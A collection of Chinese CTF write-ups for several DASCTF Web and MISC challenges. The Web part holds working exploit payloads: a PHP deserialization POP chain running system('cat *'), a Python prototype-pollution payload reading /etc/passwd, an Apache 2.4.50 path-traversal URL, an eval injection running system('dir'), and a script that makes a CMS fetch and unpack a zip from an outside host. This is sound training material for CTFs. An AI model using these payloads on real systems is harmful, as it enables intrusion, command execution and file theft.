Web

[2022DASCTF X SU 三月春季挑战赛]ezpop

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

class crow
{
public $v1;
public $v2;

function eval() {
echo new $this->v1($this->v2);
}

public function __invoke()
{
$this->v1->world();
}
}

class fin
{
public $f1;

public function __destruct()
{
echo $this->f1 . '114514';
}

public function run()
{
($this->f1)();
}

public function __call($a, $b)
{
echo $this->f1->get_flag();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;

public function run()
{
($this->m1)();
}

public function get_flag()
{
eval('#' . $this->m1);
}

}

if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}

分析

  • 使 get_flag触发 ==> fin 中的 f1 = new mix() -> getflag()

  • 使fin中的__call触发 ==> crow 中的 v1 = new fin() -> world()

  • 使crow中的__invoke触发 ==> (fin f1 = new crow(); what -> a = new fin() -> run() )

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
class crow
{
public $v1;
public $v2;

public function __invoke()
{
$this->v1->world(); //v1 = new fin(); onef
}
}
class fin
{
public $f1;

public function __construct()
{
echo $this->f1 . '114514'; //f1 = new what 触发 tostring
}

public function run()
{
($this->f1)(); //onef -> f1 = new crow()
}

public function __call($a, $b)
{
echo $this->f1->get_flag(); // two f1 = new mix();
}

}

class what
{
public $a;

public function __toString()
{
$this->a->run(); // a = new fin(); 11119
return 'hello';
}
}
class mix
{
public $m1="?><?php system('cat *')?>";


public function get_flag()
{
eval($this->m1);
}

}
/*
* 使 get_flag触发 ==> fin 中的 f1 = new mix() -> getflag()
*
* 使fin中的__call触发 ==> crow 中的 v1 = new fin() -> world()
*
* 使crow中的__invoke触发 ==> (fin f1 = new crow(); what -> a = new fin() -> run() )
*/
$onef = new fin();
$onef -> f1 = new mix();
$onec = new crow();
$onec -> v1 = $onef;
$twof = new fin();
$twof ->f1 = $onec;
$onew = new what();
$onew -> a = $twof;
$three = new fin();
$three -> f1 = $onew;


echo serialize($three)."\n";

payload:

1
O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:25:"?><?php system('cat *')?>";}}s:2:"v2";N;}}}}

[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

register路由中存在merge函数,考虑Python原型链污染

Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园 (cnblogs.com)

register路由接收http传过来的 json数据 用json.load()函数将其解析成 字典或列表 赋值给data ==> 判断data中是否有usernae 或者 password ==> new user对象 ==> 调用merge() ==> 将user 添加到Users数组中

merge()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
# 检查 dst 是否有 __getitem__ 方法,即是否可以像字典一样进行索引访问
if dst.get(k) and type(v) == dict:
# 如果 dst 中有键 k,且对应值是字典,并且 src 中的值 v 也是字典,则递归合并
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
# 如果 dst 有属性 k,并且 v 是字典,则递归合并到 dst 的属性中
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

思路: 通过user类中的check方法 调用 __global__来修改全局变量__file__ 进行文件读取

payload:

1
{"username":"1","password":"1","__class__":{"check":{"__globals__":{"__file__":"/etc/passwd"}}}}

image-20240712140935844

image-20240712140943727

本题flag在/proc/1/environ

image-20240712141023882

image-20240712141032036

[2022DASCTF MAY 出题人挑战赛]getme

进去后页面源码看到当前路径

image-20240716134730250

apache版本为2.4.50

image-20240716135000457

发现有目录穿越漏洞

image-20240716135024640

好像还有一个cgi命令执行漏洞,不过没复现成功

目录穿越来到日志页面http://node5.buuoj.cn:27800/icons/.%%32%65/logs/access_log

找到几个假flag

image-20240716135242704

image-20240716135250045

找到另一个flag

image-20240716135318234

image-20240716135337186

[DASCTF2022.07赋能赛]Ez to getflag

题目进去有

image-20240718105111558

图片上传功能只能上传png文件,并且没有返回图片上传的位置

image-20240718105353400

图片查看返回的是data伪协议

image-20240718105436797

还不能进行目录扫描

image-20240718105522195

在不知道想着怎么写的时候,想着直接用图片查看功能查看/flag

出东西了

image-20240718105624597

base64解码

image-20240718105750200

[DASCTF X CBCTF 2022九月挑战赛]dino3d

js审计

image-20240718133832281

全局搜索flag没有发现可用的信息

image-20240718133946721

每次失败时,会自动请求check.php

image-20240718134217406

抓包score传入得分checkCode传入一段md5值tm传入时间戳

image-20240718134326056

尝试直接修改score,不行

image-20240718134446412

checkCode直接解密解不了,应该是加过salt了

全局搜checkCode

build.min.js文件中存在checkCode

image-20240718135208675

找到checkCode的值

image-20240718135426461

找到salt

image-20240718135444765

找到checkCode的加密方法

image-20240718135507342

t的值没弄清楚,下断点调试,t的值是DASxCBCTF_wElc03e

image-20240718135632982

加盐之后加密checkCode还是没过去

image-20240718135812401

这里瞄了一眼wp,时间戳也要进行修改

卡好时间戳后

image-20240718135859325

[DASCTF2022.07赋能赛]绝对防御

image-20240719182614566

进去后就一张图片

image-20240719182630544

只能从js下手看看有没有其他路径

使用findsomething发现SUPERAIP.php

image-20240719182755919

进去后一片空白。

image-20240719182854945

查看源码

image-20240719182918181

试着传一个`id = 1

js会过滤一些字符。

在bp里进行后续测试

发现存在布尔盲注

image-20240719183112270

image-20240719183124600

后续就是正常的注入步骤,没有过滤

flag:flag{f37f8c99-69d0-4f88-98f4-60bcaf19d889}

[2022DASCTF MAY 出题人挑战赛]hackme

image-20240719203548976

有个list接口

image-20240719203605218

list路径下,flag是假flag

image-20240719210356197

upload 借口

image-20240719210445108

上传没做过滤,但是读取文件的时候,会按照go文件来读取

image-20240719210521492

上传一个.go后缀的文件

image-20240719210004839

image-20240719210015924

在上传一个没带.go后缀的文件

image-20240719210100245

每次执行命令,只需要修改上传.go文件,然后访问不带.go后缀的文件

image-20240719210155077

image-20240719210217404

cat /flag

image-20240719210315891

image-20240719210300506

这个环境有点怪, 有时候安装上面一模一样的方法上传(指的是在bp里重放包)。它识别不出来。还得重新抓包,来做。

[DASCTF Oct X 吉林工师 欢迎来到魔法世界~]迷路的魔法少女

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file('index.php');

extract($_GET);
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();
@eval("\$array = $data;");
return $array;
}


if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
$attrids = count($attrid);
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';
if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}

String2Array($attrstr);

这题挺简单的,eval哪里可以需要手动闭合一下。没做过这类题脑子可能转不过来(我是没转过来)

payload

1
?attrid[]=1&&attrvalue[]=");system(%27dir%27);//

[2022DASCTF MAY 出题人挑战赛]ezcms

下载源码附件后在源码中找到后台 账号 密码 认证码

image-20240724152316015

image-20240724152442593

seay对后台源码进行审计

image-20240724152531531

image-20240724152551980

此处代码的作用是

  1. 先从url从获取下载地址

  2. 判断从url中下载的数据是否为空。

  3. 通过sys_auth对url进行解密。默认的key为常量Mc_Encryption_Key

    image-20240724154005622

  4. 然后通过数据包中的Content-Type字段来判断是否为zip类型的文件。

  5. 最后下载zip ==>解压

可以利用源码中的加密函数对url的值先加密一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');

//字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}

$url = "http://xxx.xxx.xxx.xxx/ma.zip";
var_dump(sys_auth($url));

image-20240724154841415

访问

image-20240724154903337

连接

image-20240724154926255

[2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]easythinkphp

这题应该是个签到题

进去直接就说明了thinkPHP的版本

image-20240727103134604

直接梭哈了

image-20240727103249364

image-20240727103306839

MISC

[2022DASCTF Apr X FATE 防疫挑战赛]SimpleFlow

zip文件下载之后,用wireshark 打开压缩包 ==> 追踪http流 发现一个压缩包文件

image-20240717161608650

提取之后 flag.txt被加密了

image-20240717161720454

找到页面

image-20240717161914855

base64解密一下

image-20240717162036582

代码整理后

image-20240717162217970

接收了POST接收的o1faebd4ec3d97g479cf6f058cf8并截取索引为2之后的数据

这个包是压缩flag.txt的

image-20240717162543117

查这个包中的g479cf6f058cf8的值

g479cf6f058cf8 ==> cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E]

image-20240717162653370

压缩时设置的密码为PaSsZiPWorD

image-20240717162731400

[DASCTF X GFCTF 2022十月挑战赛!]滴滴图

附件下载zip压缩包中 存放一个加密zip文件和一个jpg文件

image-20240717171834912

010分析jpg文件,文件头是png头

image-20240717172014767

文件尾是Unicode编码\u0074\u0068\u0069\u0073\u005f\u0069\u0073\u005f\u0070\u0061\u0053\u0053

image-20240717172051136

解码得到

image-20240717172132630

猜测为压缩包密码, 去解ffflaggg.zip密码错误

盲猜honest_dog.jpg也隐藏了zip文件(实际上用010看了一下)

honest_dog.jpg后缀改为zip

虽然提示文件损坏,但是仍然能打开。里面有一个加密的png

image-20240717172332214

使用解码的结果可以解开

image-20240717172403301

文件尾是png,修改宽高。

image-20240717172429044

得到flag压缩包密码

image-20240717172500139

用A打开音频

image-20240717172520455

莫斯密码解码,上方的是flag

image-20240717172621841

flag用DASCTF包上

[DASCTF Oct X 吉林工师 欢迎来到魔法世界~]魔法信息

下载流量包 ==> 追踪TCP数据流 ==> 发现zip文件

image-20240724104651855

解压时虽然提示图片损坏,但还是可以解压出来

image-20240724104755957 image-20240724104812669

pdf是损坏的 ,打不开

pdf方010看了看,感觉有很大问题,但是没什么思路

再往后我就去看了一眼wp,flag在pdf属性里面

image-20240724105014144

DASCTF{25da50b7993c0db55867a5a51f32f35c}